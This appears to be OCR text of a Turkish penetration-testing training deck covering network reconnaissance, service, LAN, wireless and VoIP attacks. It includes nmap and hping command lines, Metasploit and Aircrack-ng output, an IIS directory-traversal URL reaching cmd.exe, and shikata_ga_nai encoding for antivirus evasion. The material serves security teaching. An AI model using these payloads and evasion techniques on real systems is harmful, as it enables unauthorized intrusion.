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> Bilgi Toplama ve Ag Haritalama
> Ag Servislerine Yonelik Saldirilar
> Yerel Ag Saldirilari

> Kablosuz Ag Saldirilari

> VoIP Saldirilari

> Sisteme Sizma Sureci

> Guvenlik Acigl Kullanimi
> Arka Kapi Birakilmasi
> Qifre Kirma
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Saldirmak ? Neden * “‘gamasec

> Kurumsal Sistemlerin ve Kaynaklarin Denetimi

> Saldir Simulasyonlari
> Sistem Sizma Testleri

> Saldirganlarin Gozunden Yaklasim

> Saldiri ve Tehditlerin Belirlenmesi

> Potansiyel Kayip ve Etkilerin Arastiriimasi

> Risk Analizi Yapilmasi

> Cozum Gelistiriimesi

> Saldiny! Gergeklestirirerek Cozumu Test Etmek
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Bilgi Toplama ve Ag Haritalama



Bilgi Toplama ve Ag Haritalama “‘gamasec

> Hedeflerin Belirlenmesi ve Bilgilerinin Toplanmasi

> AJ Uzerindeki Aktif Sistemler
> Aktif Sistemlerin Erisilebilir Servisleri
> Aktif Sistemlerin Isletim Sistemi ve Yazilimlari
> Servislerin Kullanim Amaci
> Sistemlerin Aga Yerlesimi ve Haritasi
> Guvenlik Teknolojilerinin Belirlenmesi

> Gulvenlik Duvari Var mi ? Hangi Servislere Izin Veriyor ?
> Saldirn Tespit/Onleme Sistemi Var mi ? Turt Ne ?

> Anti-Virus Sistemi Kullaniliyor mu ? Hangi Sistemlerde ?
> Sanal Ozel A§ Var mi ? Tir ve Yapisi Nedir ?



AQ Uzerindeki Aktif Sistemler “‘gamasec

> Erisime Acik Olacagi Beklenen Portlara Paket Gondermek

SYN

>
SYN/ACK .
<
ACK
>

> TCP Ping Taramasi

> SYN SYN/ACK ACK
> UDP Ping Taramasi

Al

> UDP Ping Tarama
> Gecerli UDP Servis Paketleri Gonderimi
> |CMP Paketleri ile Gonderimi
> Farkli ICMP Turlerinde Paket Gonderimi
> Bozuk ICMP Paketleri Gonderimi

> DNS ve Web Sorgulamasi



AQ Uzerindeki Aktif Sistemler “‘gamasec

> TCP Ping Taramasi

> nmap -sP -PS80,23 -PSA21,53 -n 192.168.0.0/24
> UDP Ping Taramasi

> nmap -sP -PU21,53 -n 192.168.0.0/24

> Nmap Betikleri : dns, smb, snmp, ms-sq|

> Metasploit Framework Yardimcilari : udp_sweep
> |CMP Ping Taramasi

> nmap -sP -PE -PP -PM -n 192.168.0.0/24

> hping -1 -K0 192.168.0.1
> DNS Sorgulamasi

> for d in mail www smtp; do host $d.domain.com; done



Aktif Servisler ve Isletim Sistemi ““gamasec

> TCP Port Tarama
> SYN, SYN/ACK, ACK, Connect
> UDP Port Tarama

> UDP Tarama, Gecerli UDP Servis Paketleri Gonderimi

SYN
SYN/ACK
ACK

> Karsilama Mesajlari Analizi

> Servis Hatalari Analizi

> Servis Isletim Bilgileri Analizi

> TCP/IP Parmak Izi Analizi

> SMB Isletim Sistemi Tipi ve Strimu Alinmasi

> SNMP ile Isletim Sistemi Sorgulama



Aktif Servisler ve Isletim Sistemi ““gamasec

> TCP Port Tarama

> nmap -sS -p1-445,1723,5000 -n 192.168.0.1
> nmap -sT -p1-445,1723,5000 -n 192.168.0.1
> UDP Port Tarama

> nmap -sU -p1-445,1723,5000 -n 192.168.0.1
> Metasploit Framework Yardimcilari : udp_sweep
> Servis Tipi ve Yazilimin Belirlenmesi
> nmap -sT -sV -A -p1-445,1723,5000 -n 192.168.0.1
> Isletim Sisteminin Belirlenmesi
> nmap -sT -sV -0 -A -p1-445,1723,5000 -n 192.168.0.1
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Guvenlik Teknolojilerinin Analizi ““gamasec

> Ag Haritasi Olusturma ve Traceroute

> Guvenlik Duvari Analizi

> Hedefin Acik Olmasi Beklenen Portlarina Paket Gondermek
> Firewalking ile Erisilebilir Servisleri ve Kurallari Saptamak
> |PSEC Temelli Servislerin Etkinligini Arastirmak
> Bilinen Guvenlik Duvari Servislerini Arastirmak
> Saldirl Tespit/Onleme Sistemi Analizi

> Bilinen Ag Temelli Saldirilar Yapmak

> Hizl Port Taramalar Yapmak

> Web Uygulamasina Bilinen Bir Saldirtyr Gondermek
> Saldirilart SSL ve SSL'siz Olarak Denetlemek
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Guvenlik Teknolojilerinin Analizi ““gamasec

> Sanal Ozel Ag Analizi
> |PSEC Temelli Servislerin Etkinligini Arastirmak
> Tercih Edilebilir Algoritma ve Kimlik Seceneklerini Arastirmak
> Bilinen Guvenlik Duvari Servislerini Arastirmak
> SSL Temelli Servisleri Arastirmak
> Yerlesim ve Erisim Saglanan Sistemleri Arastirmak
> Anti-Virus Analizi
> Farkli Seceneklerle Virs Icerikli E-Posta Gondermek
> Baglanilan Servislere Virus Igeren Veri Gondermek
> Sikistirilmig ve Arsiv Dosyalariyla Virus Gondermek
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Guvenlik Teknolojilerinin Analizi ““gamasec

> Traceroute ile Ag Haritalama

> hping -S -p80 -T -n 192.168.1.18
> Firewalking ile Erigilebilir Servis ve Kural Analizi

> hping -S -p80 -t 9 192.168.1.18 (Hedef 10 Atlama Uzaksa)
> Guvenlik Duvari Analizi

> ncat -vn 192.168.1.9 445 80 446
> nmap -sT -p23,264,256,18264,80,443 -n 192.168.1.1
> nmap -sl 192.168.7:80 -P0O -p443-445 -n 192.168.1.18

"B Hedef
SYN ede
/é

RST
SYN/ACK T (IP ID)
== SYN/ACK

Q g Zombi

RST = |
(IP ID)
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Guvenlik Teknolojilerinin Analizi

""gamasec

> Sanal Ozel Ag Analizi

4

Ike-scan 192.168.1.1

> Saldiri Onleme Sistemi Analizi

>

>

2>

2>

4

2>

http://192.168.1.1/scripts/..%c0%af../winnt/system32/cmd.exe
https://192.168.1.1/scripts/..%c0%af../winnt/system32/cmd.exe
nmap -sS -T5 -n 192.168.1.1 ve ncat -vn 192.168.1.1 80
IDSwakeup 192.168.1.99 192.168.1.1 1 1

nmap -sS -T5 -F -S 192.168.1.99 192.168.1.1

Metasploit Framework Encoder : shikata _ga nai

> Anti-Virus Sistemi Analizi

>

Metasploit Framework Encoder : shikata _ga nai
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Araclar — Nmap

> Nmap, Ncat - nmap.org

# nmap -55 -5V -vvv -n -p 723 -PO 192168.21

Starting Nmap 4.62 ( http://nmap.org ) at 2009-0I-28 12:16
Initiating SYN Stealth Scan at 13:16

Scanning 19216821 [l port]

Discovered open port [723/tcp on I92I168.2.1

Completed SYN Stealth Scan at 3:16, 1225 elapsed (| total p
Initiating Service scan at 13:16

Scanning | service on I92I168.2.

Completed Service scan at I3:1B, I201Bs elapsed (| service on
Host 19216821 appears to be up ... good.

Interesting ports on 1921682l

PORT STATE SERVICE VERSION

[723/tcp open pptp Microsoft Windows NT (Firmware: 2l

Read data files from: /usr/share/nmap

Service  detection
http://nmap.org/submit/ .

performed. Please report any

Nmap done: | IP address (I host up) scanned in I21.726 secor
Raw packets sent: 2 (BBB) | Rcvd: | (44B)

R4

Scan  Tools

Profile

%

Zenmap

Help

- 7

New Scan Command Wizard Save Scan Open Scan

Report a bug

“‘gamasec

@ &

Help

Intense Scan on scanme.nmap.org 171.67.22.3 10.0.0.10 wap.yurma.net zardoz.yuma.net X

Target: |10 wap_yuma.nctzardoz.yuma.nct Profile:; |Intense Scan

Command: :nmap -T Aggressive -A -v scanme.nmap.org 171.67.22.3 10.0.0.10 wap.yuma.net zardoz.yum;:

‘ Hosts | Services | Ports / Hosts |Nmap Output| Host Detalls |Scan Deta||5|
05 |Host =~ Host Status l:
State: up
SCanme.nmap.or
$5. ik Open ports: 3 % —
L 17167.223 Altered ports: 0
-
10.0.0.10 Closed ports;: 2
Ay wap.yumanet 192 Scanned ports: 5 =
A zardozyumanet 1 Up time: 3916956 : .
Last boot: Sat Oct 27 10:38:07 2007
= Addresses
IPv4: 205.217.153.62
IPwE:
MALC:
= Hosthnames
Name - Type: scanme.nmap.org - PTR =
= Operating System
Name: Linux 2.6.20-1 (Fedora Core 5)
accuracy: [CORI
m | R SR E
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Araglar — Hping, lke-scan ""gamasec

> Hping - hping.org

# hping -S -n -T -t B =tr-stop -p 53 192168279

HPING 1921682179 (enD I92.16B.2.179): S set. 40 headers + O data bytes

hop=8 TTL O during transit from ip=I192.168.1147

hop=8 hoprtt=98 ms

len=46 ip=I192.168.2179 tti=II7 id=I5684 sport=53 flags=RA seq=| win=0 rtt=19.2ms
- 192168 2179 hping statistic -

2 packets tramitted, 2 packets received, 0% packet loss

> |ke-scan - www.nta-monitor.com/ike-scan

# lke-scan 19216821

Starting ike-scan 19 with | hosts (http://www.nta-monitor.com/tools/ike-scan/)
1s21e8.21 Main Mode Handshake returned HDR=(CKY-R=5fa05Ic5ca&00a5l)|
SA=(Enc=3DES Hash=SHAlI Auth=PSK Group=2:modplO24 LifeTupe=Seconds

LifeDuration(4)=0x00007080)
VID=f4ed|9e0clldeb5I6faaacOee37daf2B07b438IFO00000010000I138d4980496900

000000IB200000 (Firewall-l NGX)

Ending ike-scan 19: | hosts scanned in 0342 seconds (292 hosts/sec). | returned
handshake: O returned nutifg
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Araclar — Metasploit Framework -.-gamase'c: |

> Metasploit Framework - metasploit.com
8006 msfgui

File View Exploits Auxiliary Payloads History Post-Exploit Console Database Plugins Help
[JﬂhSTSessiunf Hosts | Clients | Services | Vulns | Events | Motes | Loots | Creds |yconsaled

o 8 o o
8 8 8
ocoYoYo. .oPYO o8F .0OFYO. .OFY0O. .OPYD. 8 .0OPYo. 08 0P
8' 8 8 Boooos 8 .ooo08 Yb.. 8 8 8 8 8 8 8
8 8B BB, 8 8 8 '"Yb. 8 88 8 8 8 8
E B B "Yooo' 8 “YooPE “YooP' BYooP' 8 TYooP B B
=] metasploit v3.7.0-dev [core:3.7 api:l.0]
+ == ===] 673 exploits = 350 auxiliary
+ == ===] 217 payloads - 27 encoders - & nops

=[ svn rl21%8 updated today (2011.03.31)

msf auxiliary(udp sweep) > use auxiliary/scanner/discovery/udp sweep

msf auxiliary(udp sweep) > set RHOSTS 19Z.168.1.1=255

RHOSTS => 192.168.1.1-255

msf auxiliary(udp sweep) > exploit

[*] Sending 10 probes to 192.168.1.1->192.168.1.255 (255 hosts)

[*] Discovered HNTP on 192.168.1.76:123 (NTF v4)

[*] Discovered DNS on 192.168.1.2:53 (3a0£81820001000000000000075645525549454e04424942440000100003)

[*] Discovered NetBIOS on 192.168.1.1:137 (DECAWRT:=00>:U :DECAWRT:=03>:U :DECAWRT:<Z0=:U : MSBROWSE  :<0l>:
[*] Discovered MNetBIOS on 19%2.168.1.1:137 (DECAWRT:<00>:U :DECAWRT:<03>:U :DECAWRT:<Z0>:U : MSBROWSE  :<01>:
[*] Scanned 255 of 255 hosts (100% complete)

[*] Buxiliary module execution completed

=T J >

msf auxiliary(udp_sweep) > Submit

673 exploit 350 auxiliary 217 payload 35 post modules

4
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Araclar — IDSwakeup

""gamasec

> |DSwakeup - www.hsc.fr/ressources/outils/idswakeup




“‘gamasec

Ag Servislerine Yonelik Saldirilar
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Ag Servislerine Yonelik Saldirilar ““gamasec

> Temel Yapilandirma Hatalarinin Arastiriimasi

> Yonetim Servisleri (VNC, Terminal Server, X11, HP Man. vb)
> Tahmin Edilebilir Sifreye Sahip Kullanicilarin Saptanmasi
> Dosya Paylasimlarinin Analizi (SMB, NFS, FTP)

> Netbios Sunucusuna Yonelik Saldirilar

> Bilgi Sizmasi Analizi, Kullanici/Paylasim Listeleri Alinmasi
> Kullanicl/Sifre Denemeleri
> DCE Uzerinden Erisilebilir Servisler
> FTP Sunucusuna Yonelik Saldirilar
> Anonim Baglanti Analizi, Kullanici/Sifre Denemeleri
> Yazilabilir Dizinlerin Saptanmasi, SSL Baglanti Analizi
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Ag Servislerine Yonelik Saldirilar ““gamasec

> Web ve Uygulama Sunucusuna Yonelik Saldirilar

> Dizin Haritalama
> Desteklenen Kimlik Dogrulama Yontemiler,
> WebDAYV, Desteklenen Metodlar, Harici Uzantilar
> Ornek Yapilandirma, Ornek Dosyalar, Web Yoénetim Aray(iz{
> SSL/TLS Kullanimi, Sanal Sunucu Alan Adlarinin Analizi
> E-Posta Sunucusuna Yonelik Saldirilar

> Bilgi Sizmasi Analizi, Baslik Bilgileri Analizi

> Bulunmayan E-Posta, Bozuk Baslik, Viruslu Dosya Analizi
> Spam Gonderimi, Kullanici Sifre Denemeleri, Metodlar

> SSL/TLS Yapilandirmasi Analizi
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Ag Servislerine Yonelik Saldirilar ““gamasec

> DNS Sunucusuna Yonelik Saldirilar
> Harici Alan Adlarinin Sorgulanmasi, Tampondan Sorgulama

> Alan Adi Transferi

> Alan Adi Sahteciligi
> Ters Sorgu Analizi, I¢ Aglarin Ters Sorgu ile Arastiriimasi

> Veritabani Sunucularina Yonelik Saldirilar
> Servis, Erisilebilirlik, Veritabani ve Kullanici Bilgileri Analizi
> Ag Cihazlarina Yonelik Saldirilar

> Kullanici/Sifre Denemeleri, SNMP/TFTP Sorgulamasi
> Yonlendirme Analizi, Tehlikeli Servislerin Analizi

22



Ag Servislerine Yonelik Saldirilar ““gamasec

> Kullanici/Sifre Denemeleri

> Metasploit Framework: mssql_sql,tomcat_mgr_login,ftp login,
mysql_login,postgres_login,smb_login,vnc_login,snmp_login...

> Medusa (rlogin,rexec,smb,snmp,vnc,mysqgl,mssql....)
> DNS Servis Analizi

> Metasploit Framework: dns_enum,bailiwicked domain/host
> Netbios Servis Analizi

> Metasploit Framework: smb_enumusers,smb_relay,psexec
> Uygulama Sunucusu Analizi

> Metasploit Framework: tomcat_mgr_login, tomcat_administration,
jpboss_vulnscan,axis_login,axis_local file include,axis2 deployer,
jpboss_bshdeployer,jboss maindeployer,tomcat_mgr deploy
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Ag Servislerine Yonelik Saldirilar ““gamasec

> Web Sunucusu Analizi

> Metasploit Framework: webdav _internal _ip, webdav_scanner,
http_login,dir_scanner,dir_webdav_unicode bypass...

> WB3AF : Interaktif Proxy, SSL Analizi,Userdir, Hmap,Dav,SSI...

> Veritabani Sunucusu Analizi

> Metasploit Framework: mysql login,oracle login,sid brute,
postgres login,tnsisnr_version,sid _enum, mssqgl_sql,
mysql_sql, oracle sql,mssqgl_login,oraenum...

> Ag Cihazlari Analizi
> Snmpwalk, Snmpset

> Metasploit Framework: telnet_login, tftpbrute, snmpenum,
cisco(dtp,stp,pvstp)
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Araclar — Metasploit Framework -.-gamase'c: |

> Metasploit Framework - metasploit.com
8006 msfgui

File View Exploits Auxiliary Payloads History Post-Exploit Console Database Plugins Help
[JﬂhSTSessiunf Hosts | Clients | Services | Vulns | Events | Motes | Loots | Creds |yconsaled

o 8 o o
8 8 8
ocoYoYo. .oPYO o8F .0OFYO. .OFY0O. .OPYD. 8 .0OPYo. 08 0P
8' 8 8 Boooos 8 .ooo08 Yb.. 8 8 8 8 8 8 8
8 8B BB, 8 8 8 '"Yb. 8 88 8 8 8 8
E B B "Yooo' 8 “YooPE “YooP' BYooP' 8 TYooP B B
=] metasploit v3.7.0-dev [core:3.7 api:l.0]
+ == ===] 673 exploits = 350 auxiliary
+ == ===] 217 payloads - 27 encoders - & nops

=[ svn rl21%8 updated today (2011.03.31)

msf auxiliary(udp sweep) > use auxiliary/scanner/discovery/udp sweep

msf auxiliary(udp sweep) > set RHOSTS 19Z.168.1.1=255

RHOSTS => 192.168.1.1-255

msf auxiliary(udp sweep) > exploit

[*] Sending 10 probes to 192.168.1.1->192.168.1.255 (255 hosts)

[*] Discovered HNTP on 192.168.1.76:123 (NTF v4)

[*] Discovered DNS on 192.168.1.2:53 (3a0£81820001000000000000075645525549454e04424942440000100003)

[*] Discovered NetBIOS on 192.168.1.1:137 (DECAWRT:=00>:U :DECAWRT:=03>:U :DECAWRT:<Z0=:U : MSBROWSE  :<0l>:
[*] Discovered MNetBIOS on 19%2.168.1.1:137 (DECAWRT:<00>:U :DECAWRT:<03>:U :DECAWRT:<Z0>:U : MSBROWSE  :<01>:
[*] Scanned 255 of 255 hosts (100% complete)

[*] Buxiliary module execution completed

=T J >

msf auxiliary(udp_sweep) > Submit

673 exploit 350 auxiliary 217 payload 35 post modules

4
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Araglar — W3AF “"gamasec

> W3AF - w3af.sourceforge.net

widaf - Web Application Attack and Audit Framework

Profiles Edit ow Tools Configuration Help

gz\,& L o 1 1 -- LM |L:'::. “3 @
| Wizards Mlew S ave Start ausE [Multple Ceplot | Manual Request Fuzzy Reguest Encode/Decode Compare

Scan config | Log fiiesults | Exnlgit

Erlins Target: [Insert the target URL here
OWASP_TOP10

audit_high_risk Plugin Active
bruteforce P oaudit O
dav b bruteforce [
fast_scan P discovery [
Full_audit b evasion []
full_audit_manual_disc b grep |

os P mangle [
sitemap

=0l

testhile

web_infrastructura

Plugin Active
B ooutput =
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Araclar — Medusa '-'gaﬁasec

> Medusa - www.foofus.net/~jmk/medusa/medusa.html




“‘gamasec

Yerel Ag Saldirilari
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Yerel Ag Saldirilari ""gamasec

> Cogunlukla switch, hub ve yonlendiricilerin hedef alindig:
saldirilardir

> Hatali switch yapilandirmasi, hub kullanimi ve
yonlendiricilerdeki hatall yapilandirmalardan kaynaklanir

> Saldirilar

> Paket Yakalama
> ARP/MAC Sahteciligi

> QOrtadaki Adam Saldirisi
> Oturuma Mudahale Etme

> Ag lletisiminin Aksatiimasi

> Kriptolanmis Oturumlara Mudahale

attacker
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Ortadaki Adam Saldirisi "=gamasec

> |stemciden talep geldiginde saldirgan kendisini sunucu olarak
tanitir

> Saldirgan sunucuya baglanarak kendisini “Istemci” olarak tanitir

> Her iki oturumda kriptoludur, ancak saldirgan her bilgiyi
kriptosuz olarak gorebilmekte ve komut ekleme yapabilmektedir

> Saldir esnasinda Istemcide SSH acik anahtarinin veya SSL
sertifikasinin degismis/guvenilmez oldugu uyarisi gelecektir,
saldiri “Istemci’nin soruyu kabul edecegi prensibi ile
calismaktadir

Sahte _Sahte
Sunucu Istemci

]

SSH/SSL =i SSH/SSL
— —

=

Istemci Saldirgan Sunucu 30



Yerel Ag Saldiri Araglari "=gamasec

> Ettercap - ettercap.sourceforge.net
> ARP Sahteciligi
> Ortadaki Adam Saldirisi (SSL/SSH)
> MAC, IP, DHCP, Hedef Kesfi
> Sahte DNS Servisi

> Wireshark — wireshark.org
> Paket Yakalama
> Protokol Cozumleme
> |letisim Icerigi Coziimleme

> VoIP Cagrilart CoziUmleme
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""gamasec

Ettercap, Wireshark

eercap G0 [ § EIEIE

> Ettercap

Start Targets Hosts Wiew Mitm Filters Logging Plugins

Connections X |Profiles X |Statistics X |Plugins X

MName Version |Info

A - a

arp_cop 1.1 Report suspicious ARP activity

G

test. pcap - Wireshark
Fle Edt ‘Yew Go Capiue fralvee  Stotishcs  Hek

B @ e e e @ x % & R & @

chk_poison 1.1 Check if the poisoning had success

dns_spoof 1.0 Sends spoofed dns replies e

dos_attack 1.0 Run a d.o.s. attack against an IP address

dummy 3.0 A plugin template (for developers)

find_conn 1.0 Search connections on a switched LAN

0000000

0.259139 192, 192.168.0.2 B find_ip

Search an unused IP address in the subnet
1.025659 ¢, 160. 0. finger £ Fingerprint a remote host
1. 048552 : T 239,255, 255. 250

finnar _cihmit

Sikhmit 3 finaarnrint to attercan'c wahcoita

LA

1.055053 : -0 192 168.0.2 =l T
1.082028 192,168.0.255

23 plugins
32 protocol dissectors

Arrival Time: Jun 22, 2004 20 8. 861096000 4f pgrts monitored

[Time delta from previous packet: O0.000000000 seconds] ;

[Time since reference or first freme: 0.000000000 seconds) 6311 mac "."Endﬂr ﬂngerprlnt

Frame Number: 1 1542 tcp OS fingerprint

PRGRUE LangIaL 43 Wrees 2183 known services
Capture Length: 42 bytes
[Frame 15 marked: False]
[Protocols 'n frame: ethiarp]
[Coloring Rule Hame: arp]
[Coloring Rule Steing: arpl

& Erhmrmet TT  Sees 185 168 A 3 OO0 Ok Sd=Mord A3 Pk« Broade sat PEF o8 oFF B F oFF < FFY (%

BN

Frarne (Frame), 12 oybes [P 1200: 120 0
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“‘gamasec

Kablosuz Ag Saldirilari
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Kablosuz Ag Saldirilari "=gamasec

> Kablosuz Aglara Yonelik Saldirilar

> Kablosuz Aglarin ve Istemcilerinin Saptanmasi
> Kimlik Dogrulama Yontemlerinin Analizi

> MAC Adresi Sahteciligi
> Kriptolamaya Yonelik Saldirilar

> Kriptosuz Aglarin Saptanmasi
> WEP Kriptolamanin Kirillmasi
> WPA Kriptolamanin Kirilmasi

> Kablosuz Istemcilere Saldirilar

> Sahte Erisim Noktasi Olusturma ve Erisimleri Kaydetme
> Erisilebilir Istemciye Yonelik Saldirilar Dizenleme
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Kablosuz Aglarin Saptanmasi

> Erisilebilir Kablosuz Aglari Saptama

""gamasec

> Kablosuz Aglarin Kriptolama Secenekleri ve Sinyal Gucu

> Araclar : Kismet, Aircrack-NG

Network List
Name
! G5-5ample
. GS_WR1

Probe networks

ZyXEL
. buffie

{Autofit)

ICH 11 ][

'BSSID

00
LLE
:Hﬂ:
00
00 :

14:
14:
Be:
1A:2A:
1A:2A:

\BSSID

Status

Found new
Found new n
Found new
Found new p
Battery: AC

00:14:C1:43:64:C4
E[nut assoclated)
;[nut assoclated)
I,“[m:ﬁc assoclated)

2 mi

PWR

204
204
184
178
169

5TA

1]: H
1]: H
1]: H
1]: H

Ch Packts Flags IP Range
81l 57 0.0.0.
004 218 0.0.0.
=== 5 0.0.0.

LT E .

ns ][ 2009-83-13 12:46

Beacons #Data, #/s CH

125 ! g 11

218 ! ! 4

a1 ! ! [

11

2 ! g 11

TION Rate
16:CB:
21:FE:
eD:F@:
CB:49:

m

WEP WEP
WPAZ CCMP
WPA TKIP
WPA TKIP
WPA TKIP

| =
=
| =
=
| =
=

LN

L

Lost Packets

14

ENC CIPHER AUTH

P5K
P5K
P5K
P5K

Probes

E55ID

G5-Sample
GS_WR1
ZyXEL
buffie
ADSL
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WEP Kriptolamanin Kirilmasi '-'gamasec

> Agla Sahte lliskilendirme Saglanir (Sadece lliskilendirme)
> Aga Cok Sayida Sorunlu Paket Enjekte Edilir
> Bir Diger Kart ile Sorunlu Paketler ve TUm lletisim Yakalanir

> Weak IV vs Data
> Uygun Kriptoanaliz Saldirisi Baslatilir (Chop Chop, PTW vb.)

Aircrack-ng 1.0 rc2

[0D:00:00] Tested 7240 keys (got 11763 IVs)

byte({vote)

15(14080)
43(16384)
CE(15616)
75(18944)
43(19200)

48(14080)
F1(15616)
08(14848)
10(16384)
BEB(15872)

4A(14080)
37(15360)
27(14848)
F7(16128)
DC(15872)

58(14080)
3F(15360)
4B(14848)
93(15872)
93(15360)

91(14080)
F8(15360)
TA(14848)
DA(15616)
BF(15360)

95(14080)
99(15104)
JE(14848)
3E(15104)
37(15104)

E7(14080)
BF(15104)
A5(14848)
AB(14848)
A5(15104)

OF (13824)
17(14848)
E3(14848)
C1(14848)
33(14848)

KEY FOUMD! [ 15:43:22:75:43 ]
Decrypted correctly: 100%
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WPA Kriptolamanin Kirllmasi '-'gamasec

> 3 Tur Saldiri Mevcuttur

> Dogrudan Deneme/Yanilma ve Sozluk Saldirisi Yontemi
> PSK Ozetinin Alinmasi ile istenen Sistemde Deneme/Yanilma

> S0zIik vs Hazir Veri Ozetleri
> Kiriptoanaliz ile WPA/TKIP Kriptolamanin Kirilmasi

Aircrack-ng 1.9 rc2
00] 4 keys tested (66.39 k/s)
KEY FOUND! [ gamasecl23

Master HKey

Transient Key

EAPOL HMAC




Kablosuz Istemcilere Saldirilar ““gamasec

> Kablosuz Istemcilerin Ele Gegcirilmesi

> Sahte Erisim Noktalari
> Otomatik Ele Gecirme

> Kablosuz Aglar Icin Servis Engelleme Saldirilari

> Kablosuz Ag Karti Suruculerine Yonelik Saldilar

> Karmetasploit

> Metasploit Framework ve Aircrack-NG Araclarinin Birlesimi

> Sahte Erisim Noktasi Olusturulur ve Sahte Servisler ile Tum
Gercek lletisim Yakalanabilir

> |stemcilere Yonelik Saldirilar Diizenlenebilir
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Araclar - Aircrack-NG "=gamasec

> www.aircrack-ng.org
> Neredeyse TUm Saldirilar, Aircrack ile Ornekleniyor
> Kablosuz Aglarin Saptanmasi
> Kablosuz Ag ile Sahte lIliskilendirme
> WEP Kirma Saldirilari (Korek, PTW, Chop chop)
> WPA Sozluk Saldirilari
> WPA/TKIP Kirilmasi
> Sahte Erisim Noktalari Olusturmak

> Servis Engelleme Saldirilar (Erisim Kesme, Sahte Erisim
Nok.)

> Ozel Cihaz Surlcusu Destegi Gerektiriyor
> Bircok Linux kablosuz ag karti surucusu sorunsuz
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Araglar —Klsmet,KarmetaspI0|t,W|reshark.-gamasec

> Kismet

> www.kismetwireless.net
> Kablosuz Aglarin Saptanmasi, Istemcilerin Gériilmesi, Paket Yakalama

> Metasploit Framework / Karmetasploit

> www.metasploit.com/redmine/projects/framework/wiki/Karmetasploit
> Kablosuz Istemcilerin Ele Gegirilmesi

> Sahte Erisim Noktalari

> Otomatik Ele Gegirme

> Kablosuz Aglar Igin Servis Engelleme Saldirilari

> Kablosuz A§ Karti Suricdleri igin Exploit Orneklersi
> Wireshark

> www.wireshark.org

> Paket Yakalama, Iletisim Coziimleme
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Araclar — Backtrack, KisMAC, Ettercap “"gamasec

> Backtrack Linux Dagitimi

> Cok Sayida Guvenlik Denetim Araci Icermektedir
> Nmap, Wireshark, Hping, Kismet, Aircrack-NG

> Yazilim Kurulumu Gerekmeden, CD'den Canli Olarak Calisir

> Sanal Makine Kullanimi ile Tercih Edilebilir

> Hazir Kablosuz Ag Surucduleri ile Sorunsuz Denetim
> KisMAC

> kismac-ng.org

> Mac OS X icin Hazirlanmistir

> Paket Yakalama, Enjekte Etme ve Sifre Kirma Ozellikleri Bulunuyor
> Ettercap

> ettercap.sourceforge.net
> ARP Saldirilari, Ortadaki Adam Saldirilari
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“‘gamasec

VolP Saldirilar
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VolP Saldirilar '-'gamasec

> Aktif Bilgi Toplama
> Sunucularin, Istemcilerin ve Servislerin Saptanmasi
> Ag Altyapisina Yonelik Saldirilar
> VLAN Saldirilari, Ortadaki Adam Saldirilari, Paket Yakalama

> |letisim Yakalama ve Céziimleme
> SIP Sunucularina Yonelik Saldirilar

> Kimlik Deneme, Yetki Analizi, Ozel Dabhililerin Aranmasi

> Yazilim Sorunlari, Yonetim Sorunlari

> S|P istemcilerine Yonelik Saldirilar

> Yazilim Sorunlari, Yonetim Sorunlari, Dogrudan Cagri
> PSTN Hatlara Yonelik Saldirilar

> Telefon Numaralarini Sirayla Denemek ve Hat Aramak
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Aktif Sistemler ve Bilgi Toplama ““gamasec

> Sipvicious - sipvicious.org
> Moduller

> Svmap — SIP Servislerini Dogrulama ve Surim Bilgisi Aima
> Svcrack — Kullanici/Sifre Dogrulamasi

> Svwar — SIP Servisindeki Uzantilarin Dogrulanmasi

> Svreport — SIP Analizleri Sonucunda Rapor Olusturma

> Svlearn — SIP Servisi Parmak izinin Ogretilmesi ve Kaydedilmesi

> Haritalama ve bilgi toplama icin elverislidir, ancak servis
analizlerinde kullanilamamaktadir

> Servis parmak izi veritabani oldukga genis ve kalitelidir
> Uzanti ve kullani analizleri yapabilmektedir

> Araclarin segenekleri cok genistir, analiz esnek yapilabilmektedir
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Aktif Sistemler ve Bilgi Toplama ““gamasec

> Sipsak - sipsak.org

> Haritalama ve bilgi toplama icin elveriglidir, ayrica o0zel analizler
veya ham iletisimlerin kullanimini desteklemektedir

> SIP istegi ham olarak hazirlanip dogrudan girdi olarak
verilebilmektedir

> Kullanim Amaglari

> SIP Servislerinin Kesfi

> Kullanici / Sifre Denemeleri
> Cagr Yonlendirme

> Uzantilarin Analizi

> Qzel Zaafiyet Analizler
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Sipvicious, Sipsak ""gamasec

> Sipvicious

# ./svmap.py 192.16B.2.0,24

| SIP Device |User Agent| Fingerprint |
|1921682975060|unknown  |3CXPhone5System/AVM FRITZIBox Fon WLAN 7170 29.0422|

| | | & 2006} / T-Com Speedport WS00V / Firmware vi37 |

| | | MxSF/v32626 |
|I9216821055060| LRSTD XTP8B86 2008B.06.05| T-Com Speedport WS00V / Firmware vi37
MxSF/v326.26 |

| P2le82.104:.5060 | Nortel IP Phone 1535 (02910616} | T-Com Speedport WS00V / Firmware
vi37 MxSF/v3.2626 |

> Sipsak

# sipsak -s sipl000@I92I68.2l -vv

message received:

SIP/20 200 0K

To: <sipl0O00@I92 16821 >tag=472a8800

From: <sip:sipsak@E270.1:45431>:tag=2dc0IB4a

Via: 5IP/2.0/UDP
[27.011:4543Lbranch=z3hweweG4bK.65f0Bcbb:rport=4543kreceived=94 1229449 alias

Call-1D: 767563850@I27.0.11
CSeq | OPTIONS

Contact: <sip:I92168215060>
Content-Length: O

** rgply received after 38297 ms **
SIP/20 200 0K

final received

46



Ag Altyapisina Yonelik Saldirilar ““gamasec

> SIP Yapisina Yonelik Saldirilar

> Ses ve Veri Agi Analizi
> SIP Sunucusunun Servislerine Erisim Haklari
> Destek Servislerinin Konumlari : DHCP, DNS, TFTP
> SSL/TLS Kullanimi
> |letisim Analizi
> SIP Istek ve Cevaplari Analizi
> Ortadaki Adam Saldirilari ve Proxy Kullanimi
> Cagr Yakalama, Cozumleme ve Yonlendirme

> Ag Temelli Servis Engelleme
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Paket Yakalama ve Cozumleme “"Jamasec

> Ucsniff - ucsniff.sourceforge.net

> Agda paket yakalama ve iletisimi cozumleme igin kullanilir
> Kullanim Amaclari
> ARP Analizleri, VLAN Atlamalari ve Analizleri
> RTP Ayiklama ve Kayit Etme
> Cagn Kaydi ve Cozumleme (Video: H.264, Ses: G-711 ve G.722)
> SIP, Skinny Destegi
> Voipong - www.enderunix.org/voipong
> Agda paket yakalama ve iletisimi cozumleme igin kullanilir

> VoipHopper — voiphopper.sourceforge.net

> Ag Altyapisi ve VLAN Analizi i¢in Kullaniimaktadir
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Ucsniff, Voipong

> Ucsniff

ARP polsoning victims:

GROUP 1 :

GROUP 2 :

Starting Unified

Warning: PL

Warning:

“‘gamasec

MPlayer

ANY (all the hosts in the list)
ANY (all the hosts in the list)

sniffing...

are finished with
